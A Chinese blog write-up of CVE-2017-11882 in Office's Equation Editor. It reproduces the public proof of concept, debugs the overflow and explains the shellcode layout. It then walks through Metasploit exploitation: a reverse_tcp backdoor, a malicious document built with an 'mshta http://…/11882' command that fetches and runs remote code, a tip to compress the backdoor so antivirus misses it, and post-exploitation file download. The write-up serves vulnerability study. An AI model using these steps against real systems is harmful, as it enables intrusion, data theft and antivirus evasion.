漏洞分析之CVE-2017-11882

漏洞分析之 CVE-2017-11882

目录

☛ 漏洞介绍

  • 安全公司Embedi最早报告了漏洞,其出现在一个老旧的微软工具 Equation Editor 中 的EQNEDT32.EXE可执行程序,这套工具的作用是插入数学公式,虽然在 Office 2007 后 就被取代,但出于早期兼容性的考虑得以仍然保留

  • 漏洞影响的版本

    • Office 365
    • Microsoft Office 2000
    • Microsoft Office 2003
    • Microsoft Office 2007 Service Pack 3
    • Microsoft Office 2010 Service Pack 2
    • Microsoft Office 2013 Service Pack 1
    • Microsoft Office 2016
  • 文件信息

    在 PEiD 中可以发现,程序发布与 2000 年,编译器使用的VC++ 4.2

☛ 漏洞分析

☛ 1.漏洞分析环境与工具

操作系统:Window 7 专业版 (32 位)
软件:office 2003 sp3
工具:Ollydbg,windbg,IDA Pro
OfficeMalScanner,python 模块 oletools(rtfobj)

☛ 2.获取 Poc[点击🔗]

☛ 3.复现漏洞

1.搭建漏洞环境(安装 office2003 sp3:完整安装),执行漏洞 poc
2.由于漏洞出现在 EQNEDT32.EXE 进程,开启 word 之后,需要先开启一下公 式编辑器
3.菜单-插入-对象,找到公式 3.0(如果没有说明 office 安装不完全)

4.复现漏洞效果

当运行文档时,Word会自动弹出系统计算器,我们可以依此作为突破口进行分析

☛ 4.分析漏洞

1.定位漏洞函数,及漏洞触发时的操作,由于会弹出计算器,可以在创建进程CreateProcessA CreateProcesW WinExec处下断点

  • 程序在 WinExec API断下,可以分析堆栈信息(向上分析:上一层的函数),可以看到一个地址0x411837,一般就可认为这个地址所在的函数应该就是溢出函数或溢出函数所在的函数

  • 找到地址 0x411837 的函数开始的地方0x41160F重新运行分析,断下之后,跟踪分析,发现覆盖堆栈的代码就是这个函数(0x41160F);调式函数内部,找到覆盖代码操作的是0x411658处的指令

2.分析漏洞成因(即 Shellcode)

  • 使用 IDA 定位到漏洞函数 0x41160F 函数(程序可在OD附加中根据路径找到)

  • 根据图中,Shellcode 是作为参数传递进来的,并且规定的Shellcode的长度

  • 根据图中 "cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA"可知计算器是通过cmd指令运行起来的

3.分析 Shellcode
Shellcode的长度 44 + 4:44位执行命名字符串,4位返回地址

☛ 5.漏洞利用

1.漏洞利用步骤:

  • 1.定立目标:弹出一个网页
  • 2.编写Shellcode:修改样本中的执行字符串(注意字符串长度)
    改成:cmd.exe /c explorer.exe http://www.15pb.com&

2.漏洞利用实现效果

☛ 6.利用漏洞2

1.漏洞利用步骤

  • 1.准备环境
  • 2.使用 Kali metasploit 生成后门木马
  • 3.在 Windows7 上运行后门木马
  • 4.在 metaslpoit 中链接之后,操作后门

2.准备环境

  • 1.更新 Metasploit

    /> apt update
    /> apt install metasploit-framework

  • 2.拷贝模块文件到以下目录(cve-2017-11882.rb:漏洞模块、负责与样本通信)

    /> cd Desktop
    /> cp cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

  • 3.拷贝生成样本的 python 脚本到桌面(CVE-2017-11882.py)

3.使用Kali Metasploit 准备好后门、监听程序、开始攻击

  • 1.进入metasploit-framework

    /> msfconsole

  • 2.search 漏洞利用模块

    /> search cve-2017-11882

  • 3.使用对应漏洞利用模块

    /> use exploit/windows/fileformat/cve-2017-11882

  • 4.设置漏洞利用信息,包括 payload 类型、IP、端口等

    /> set payload windows/meterpreter/reverse_tcp
    /> show options(显示必要设置的选项,查看有无漏项)
    /> set lhost 192.168.174.129(Kali系统的IP)

    /> set lport 4444
    /> set uripath 11882
    /> show options(显示必要设置的选项,查看有无漏项)

  • 5.重开一个Terminal,使用 CVE-2017-11882,py 脚本样本(IP必须是 Kali虚拟机的IP;虚拟路径必须是刚刚设置好的 uripath 的路径)

    /> cd Desktop
    /> python CVE-2017-11882.py -c "mshta http://192.168.174.129:8080/11882" -o 11882.doc

  • 6.开始攻击

    /> exploit(等待后门程序回连)

    /> 链接成功后,使用命令 sessiions 查看链接信息

4.在 Windows7 上运行后门木马

  • 拷贝后门时,注意压缩,否则有可能被杀

5.在 metasploit 中链接之后,操作后门

  • 1.使用 sessions 1 进入 sessions,开始操作后门

  • 2.使用命令进入 shell

    /> shell

  • 3.使用命令 screenshot 截图

    /> screenshot

  • 4.使用命令 download 下载文件到指定路径

    /> download C:/1111.txt /root/Desktop

☛ 总结

  • Office 漏洞很多,大多数都是栈溢出,层出不穷
  • CVE-2017-11882 是一个 2000 年就存在的陈年老洞

☛ 参考资料

安全公司 Embedi 的分析文档
http://www.freebuf.com/vuls/154298.html
https://www.anquanke.com/post/id/87311
https://www.anquanke.com/post/id/87284
https://www.jianshu.com/p/512fa0b3b801

完成时间:2018-10-23 10:24:05 星期二

<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">





posted @ 2018-11-26 15:40  记得按时恰饭  阅读(1375)  评论(0编辑  收藏  举报